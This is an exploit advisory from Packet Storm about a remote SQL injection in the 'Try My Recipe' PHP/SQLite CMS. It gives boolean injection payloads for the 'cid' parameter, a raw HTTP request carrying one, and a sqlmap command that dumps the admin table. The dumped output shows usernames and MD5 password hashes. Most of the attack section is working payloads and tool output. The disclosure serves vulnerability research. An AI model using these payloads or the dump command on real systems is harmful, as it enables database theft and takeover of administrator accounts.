what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Try My Recipe SQL Injection

Try My Recipe SQL Injection
Posted Oct 5, 2021
Authored by nu11secur1ty

Try My Recipe suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | c94f157f549bb5ecdbfc4b66f581110eee2232420bd80525eb1415a6c0e73b3b

Try My Recipe SQL Injection

Change Mirror Download
https://www.sourcecodester.com/php/14964/try-my-recipe-recipe-sharing-website-cms-php-and-sqlite-free-source-code.html

## [CVE-nu11-17-092921](https://www.sourcecodester.com/php/14964/try-my-recipe-recipe-sharing-website-cms-php-and-sqlite-free-source-code.html)
## [Vendor](https://www.sourcecodester.com/users/tips23)
![](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/CVE-nu11-17-092921/docs/view_recipe_content.png)

## MySQL Vulnerability Description:
The `cid` parameter appears on Recipe Sharing Website - CMS
(by:oretnom23) to be vulnerable to SQL injection attacks. The payloads
12345678' or '7775'='7775 and 77335599' or '5533'='5577 were each
submitted in the `cid` parameter. These two requests resulted in
different responses, indicating that the input is being incorporated
into a SQL query in an unsafe way.
The attacker can dump information about users and their passwords.
Then he can take control of their accounts.

- MySQL Request:

```cmd
GET /recipe_site/?page=recipe&cid=12345678'%20or%20'7775'%3d'7775 HTTP/1.1
Host: 192.168.1.180
Cookie: PHPSESSID=v4f40h5nvo41f7t5j0jg8f7pvd
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.180/recipe_site/
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159
Safari/537.36
Connection: close
Cache-Control: max-age=0
```

- MySQL Response:

```cmd
HTTP/1.1 200 OK
Date: Wed, 29 Sep 2021 07:50:44 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13306

<br />
<b>Warning</b>: SQLite3::exec(): database is locked in
<b>C:\xampp\htdocs\recipe_site\DBConnection.php</b> on line
<b>76</b><br />
<br />
<b>Warning</b>: SQLite3::exec(): database is locked i
...[SNIP]...
<div class="item col wow bounceInUp">
...[SNIP]...
<div class="card shadow-sm ">
...[SNIP]...
<div class="card-body ">
...[SNIP]...
<h5 class="card-title mb-1">Sample Recipe 102</h5>
...[SNIP]...
<hr class="bg-primary opacity-100">
...[SNIP]...
<p class="truncate-3 fw-light fst-italic lh-1" title="Class aptent
taciti sociosqu ad litora torquent per conubia nostra, per inceptos
himenaeos. Etiam hendrerit tellus in nisi semper vulputate. Curabitur
accumsan metus sit amet erat volutpat, pl
...[SNIP]...
<div class="w-100 d-flex justify-content-end">
...[SNIP]...
<div class="col-auto flex-grow-1">
...[SNIP]...
<div class="text-muted truncate-1" title="Claire Blake">
...[SNIP]...
<div class="col-auto">
...[SNIP]...
<a href="./?page=view_recipe&rid=2" class="btn btn-sm btn-primary
bg-gradient rounded-0 py-0">View Recipes</a>
...[SNIP]...
<div class="item col wow bounceInUp">
...[SNIP]...
<div class="card shadow-sm ">
...[SNIP]...
<div class="card-body ">
...[SNIP]...
<h5 class="card-title mb-1">Sample Menu</h5>
...[SNIP]...
<hr class="bg-primary opacity-100">
...[SNIP]...
<p class="truncate-3 fw-light fst-italic lh-1" title="Lorem ipsum
dolor sit amet, consectetur adipiscing elit. Ut vestibulum, magna sed
porttitor venenatis, metus ex ornare arcu, non tincidunt orci lectus
at odio. Proin elementum convallis leo at
...[SNIP]...
<div class="w-100 d-flex justify-content-end">
...[SNIP]...
<div class="col-auto flex-grow-1">
...[SNIP]...
<div class="text-muted truncate-1" title="Try My Recipe Mgt">
...[SNIP]...
<div class="col-auto">
...[SNIP]...
<a href="./?page=view_recipe&rid=1" class="btn btn-sm btn-primary
bg-gradient rounded-0 py-0">View Recipes</a>
...[SNIP]...
```

- The PoC:

```cmd
python sqlmap.py -u
"http://192.168.1.180/recipe_site/?page=view_recipe&rid=2"
--data="username=PWNED&password=password"
--cookie="PHPSESSID=v4f40h5nvo41f7t5j0jg8f7pvd" --batch
--answers="crack=N,dict=N,continue=Y,quit=N" --dump
```
- Output from the PoC:

- dump

Table: admin_list
[2 entries]
+----------+------+--------+---------------+----------------------------------+-----------+---------------------+
| admin_id | type | status | fullname | password
| username | date_created |
+----------+------+--------+---------------+----------------------------------+-----------+---------------------+
| 1 | 1 | 1 | Administrator |
0192023a7bbd73250516f069df18b500 | admin | 2021-09-28 01:54:24 |
| 2 | 2 | 1 | Mike Williams |
a88df23ac492e6e2782df6586a0c645f | mwilliams | 2021-09-28 08:00:51 |
+----------+------+--------+---------------+----------------------------------+-----------+---------------------+

# BR


System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://www.exploit-db.com/
https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close